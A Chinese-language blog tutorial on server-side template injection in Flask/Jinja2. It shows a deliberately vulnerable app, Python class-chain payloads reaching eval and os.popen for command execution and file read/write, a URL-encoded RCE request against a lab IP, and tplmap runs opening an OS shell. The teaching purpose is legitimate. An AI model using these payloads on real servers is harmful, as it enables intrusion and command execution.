SSTI-服务端模板注入漏洞

原理

服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露、代码执行、GetShell 等问题。

其影响范围主要取决于模版引擎的复杂性。

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

参考:https://baike.baidu.com/item/%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E/907667?fr=aladdin

Flask(Jinja2)服务端模板注入

Jinja2是用于Python的全功能模板引擎。它具有完整的unicode支持,一个可选的集成沙盒执行环境,已被广泛使用并获得BSD许可。 Jinja2由Django或Flask之类的Python Web框架使用。

Jinja官方网站:

https://jinja.palletsprojects.com/en/2.11.x/

实验测试:

flask ssti漏洞的代码:
from flask import Flask, request

from jinja2 import Template

app = Flask(__name__)

@app.route("/")

def index():

name = request.args.get('name', 'guest')

t = Template("Hello " + name)

return t.render()

if __name__ == "__main__":

访问:http://192.168.81.128:8000/

传入参数:?name={{6*7}},可以得到如下结果,说明存在SSTI漏洞。

在python里要执行系统命令需要import os模块。

想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册

需要在上面的代码里加一句:

t.globals['os'] = os

如果没有加这一句,直接使用os中的方法会报错。

那么,如何在未注册 os 模块的情况下在模板中调用 popen() 函数执行系统命令呢?这就用到各种下划线函数了。

>>> [].__class__

<type 'list'>

>>> [].__class__.__base__

<type 'object'>

>>> [].__class__.__base__.__subclasses__()

class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

bases:用来查看类的基类,也可是使用数组索引来查看特定位置的值

subclasses():查看当前类的子类。直接用object.subclasses(),也会得到和一样的结果。

由此可以访问到很多其他模块,os模块自然也可以这样访问到。

访问os模块需要从warnings.catch_warnings模块入手的。看一下catch_warnings在哪个位置。

>>> import warnings

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

当我们获取了位置后,再用func_global看看该模块有哪些global函数

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()

这里能看到linecache,我们要访问的os模块就在这里,看看这个模块的各种属性:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__

接下来就可以使用os模块了。

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')

漏洞利用

获取eval函数并执行任意python代码的POC如下:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

访问如下链接:

 http://192.168.81.128:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到执行结果:

查看/etc/passwd

xss:name参数的值直接通过get请求获取,并未做任何的处理,可以直接注入xss代码。

Python进行文件读写/命令执行的常用命令

//获取基本类

''.__class__.__mro__[1]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

object

//读文件

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

object.__subclasses__()[40](r'C:\1.php').read()

//写文件

().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

//执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )

SSTI测试工具–Tplmap

GitHub:https://github.com/epinna/tplmap

帮助信息
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 tplmap.py -h

Usage: python tplmap.py [options]

Options:

-h, --help Show help and exit.

Target:

These options have to be provided, to define the target URL.

-u URL, --url=URL Target URL.

-X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT).

Request:

These options have how to connect and where to inject to the target

URL.

-d DATA, --data=.. Data string to be sent through POST. It must be as

query string: param1=value1&param2=value2.

-H HEADERS, --he.. Extra headers (e.g. 'Header1: Value1'). Use multiple

times to add new headers.

-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1'). Use multiple times to

add new cookies.

-A USER_AGENT, -.. HTTP User-Agent header value.

--proxy=PROXY Use a proxy to connect to the target URL

Detection:

These options can be used to customize the detection phase.

--level=LEVEL Level of code context escape to perform (1-5, Default:

1).

-e ENGINE, --eng.. Force back-end template engine to this value.

-t TECHNIQUE, --.. Techniques R(endered) T(ime-based blind). Default: RT.

Operating system access:

These options can be used to access the underlying operating system.

--os-cmd=OS_CMD Execute an operating system command.

--os-shell Prompt for an interactive operating system shell.

--upload=UPLOAD Upload LOCAL to REMOTE files.

--force-overwrite Force file overwrite when uploading.

--download=DOWNL.. Download REMOTE to LOCAL files.

--bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and

connect to it.

--reverse-shell=.. Run a system shell and back-connect to local HOST

PORT.

Template inspection:

These options can be used to inspect the template engine.

--tpl-shell Prompt for an interactive shell on the template

engine.

--tpl-code=TPL_C.. Inject code in the template engine.

General:

These options can be used to set some general working parameters.

--force-level=FO.. Force a LEVEL and CLEVEL to test.

--injection-tag=.. Use string as injection tag (default '*').

Example:

./tplmap -u 'http://www.target.com/page.php?id=1*'
模板注入测试
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge"

[+] Tplmap 0.5

Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable

[+] Smarty plugin is testing rendering with tag '*'

[+] Smarty plugin is testing blind injection

[+] Mako plugin is testing rendering with tag '${*}'

[+] Mako plugin is testing blind injection

[+] Python plugin is testing rendering with tag 'str(*)'

[+] Python plugin is testing blind injection

[+] Tornado plugin is testing rendering with tag '{{*}}'

[+] Tornado plugin is testing blind injection

[+] Jinja2 plugin is testing rendering with tag '{{*}}'

[+] Jinja2 plugin has confirmed injection with tag '{{*}}'

[+] Tplmap identified the following injection point:

GET parameter: name   //注入参数:name

Engine: Jinja2    //使用的模板引擎

Injection: {{*}}    //注入方法

Context: text

OS: posix-linux

Technique: render

Capabilities:

Shell command execution: ok   //检验当前环境可使用的利用方法

Bind and reverse shell: ok

File write: ok

File read: ok

Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

--os-shell   在目标上运行shell

--os-cmd   执行shell命令

--bind-shell PORT   连接到目标端口的shell绑定

--reverse-shell HOST PORT   将shell发送回攻击者的端口

--upload LOCAL REMOTE   将文件上载到服务器

--download REMOTE LOCAL   下载远程文件
--os-cmd 执行命令
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-cmd whoami

--os-shell 直接获取交互式shell环境

C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-shell

参考链接:

SSTI-服务端模板注入的更多相关文章

  1. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  2. Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...

  3. 有关于服务端模板注入(ssti攻击)——BUUCTF - easy_tornado

    打开题目出现3个链接 /flag.txt 中提示flag in /fllllllllllllag /welcome.txt 中提示 render /hints.txt 中提示 md5(cookie_s ...

  4. 漏洞复现-Flask-SSTI服务端模板注入

      0x00 实验环境 攻击机:Win 10 0x01 影响版本 Python利用的一些静态框架 0x02 漏洞复现 (1)实验环境:docker运行的vulhub漏洞环境 首先,可直接访问到页面的显 ...

  5. Flask(Jinja2) 服务端模板注入漏洞

    原理 参考文章: https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-R ...

  6. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  7. SSTI-服务端模板注入漏洞

      原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...

  8. 服务端模版注入漏洞检测payload整理

    服务端模版注入漏洞产生的根源是将用户输入的数据被模版引擎解析渲染可能导致代码执行漏洞 下表涵盖了java,php,python,javascript语言中可能使用到的模版引擎,如果网站存在服务端模版注 ...

  9. 微信-小程序-开发文档-服务端-模板消息:templateMessage.send

    ylbtech-微信-小程序-开发文档-服务端-模板消息:templateMessage.send 1.返回顶部 1. templateMessage.send 本接口应在服务器端调用,详细说明参见服 ...

随机推荐

  1. Oracle数据迁移后由列的直方图统计信息引起的执行计划异常

    (一)问题背景 在使用impdp进行数据导入的时候,往往在导入表和索引的统计信息的时候,速度非常慢,因此我在使用impdp进行导入时,会使用exclude=table_statistics排除表的统计 ...

  2. Autoware 标定工具 Calibration Tool Kit 联合标定 Robosense-16 和 ZED 相机!

    一.安装 Autoware & ZED 内参标定 & 外参标定准备 之前的这篇文章:Autoware 进行 Robosense-16 线雷达与 ZED 双目相机联合标定! 记录了我用 ...

  3. SQL--SQL详解(DDL,DML,DQL,DCL)

    SQL--SQL详解(DDL,DML,DQL,DCL) 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢! 什么是SQL? Stru ...

  4. (八)MySQL事务、视图、变量、存储过程、函数、流程控制结构

    补充:增删查改语句在数据库中基本通用,但这篇博客的内容基本是MySQL区别于其它数据库管理系统的知识,也要认真学习. 一.事务 1.含义:在MySQL中,可以通过创建事务来解决一些问题. 2.语法: ...

  5. 【大厂面试08期】谈一谈你对HashMap的理解?

    摘要 HashMap的原理也是大厂面试中经常会涉及的问题,同时也是工作中常用到的Java容器,本文主要通过对以下问题进行分析讲解,来帮助大家理解HashMap的原理. 1.HashMap添加一个键值对 ...

  6. npm: no such file or directory, scandir '.../node_modules/node-sass/vendor'

    运行vue报错 npm run dev 解决办法,运行:npm rebuild node-sass

  7. 【Python】使用Selenium实现淘宝抢单

    最近,小明为了达成小姐姐的愿望,在某宝买到心仪的宝贝,再加上又迷上了python,就通过python轻而易举地实现了(个人声明:对Java来说,这并不是背叛). 需求分析&前期准备 需求其实很 ...

  8. 【asp.net core 系列】13 Identity 身份验证入门

    0. 前言 通过前两篇我们实现了如何在Service层如何访问数据,以及如何运用简单的加密算法对数据加密.这一篇我们将探索如何实现asp.net core的身份验证. 1. 身份验证 asp.net ...

  9. new jup在新一代中存在

    1.灰度发布服务动态路由 动态配置路由规则,实现对调用流量的精确控制.可配置基于版本.IP.自定义标签等复杂的规则.2.服务鉴权示例2需求:服务 provider-demo 只允许来自 consume ...

  10. CentOS 安装 VMware Tools 详细方法

    点击虚拟机,选择安装vmware Tools工具 弹出上面的界面,右键选择奖上面的vmwaraTools.tar.gz解压到你要解压的目录下面 记得一定要使用root用户,进入到解压的目录 然后执行 ...